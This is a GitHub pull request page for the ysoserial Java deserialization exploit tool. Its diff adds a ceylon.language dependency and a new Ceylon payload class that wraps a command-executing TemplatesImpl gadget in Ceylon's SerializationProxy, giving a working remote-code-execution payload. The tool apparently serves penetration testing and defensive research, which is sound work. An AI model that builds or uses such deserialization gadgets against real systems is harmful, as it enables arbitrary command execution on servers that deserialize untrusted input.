Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

ceylon gadget #173

Merged
merged 1 commit into from
Apr 27, 2022
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
5 changes: 5 additions & 0 deletions pom.xml
Original file line number Diff line number Diff line change
Expand Up @@ -336,6 +336,11 @@
<artifactId>click-nodeps</artifactId>
<version>2.3.0</version>
</dependency>
<dependency>
<groupId>org.ceylon-lang</groupId>
<artifactId>ceylon.language</artifactId>
<version>1.3.3</version>
</dependency>
</dependencies>

<profiles>
Expand Down
23 changes: 23 additions & 0 deletions src/main/java/ysoserial/payloads/Ceylon.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
package ysoserial.payloads;

import com.redhat.ceylon.compiler.java.language.SerializationProxy;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;

@Authors({ Authors.KULLRICH })
@Dependencies({ "org.ceylon-lang:ceylon.language:1.3.3" })
public class Ceylon implements ObjectPayload<Object>
{

//
// Probably the simplest deser gadget ever ;-)
//
@Override
public Object getObject(String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);

return new SerializationProxy (templates, templates.getClass(), "getOutputProperties");
}
}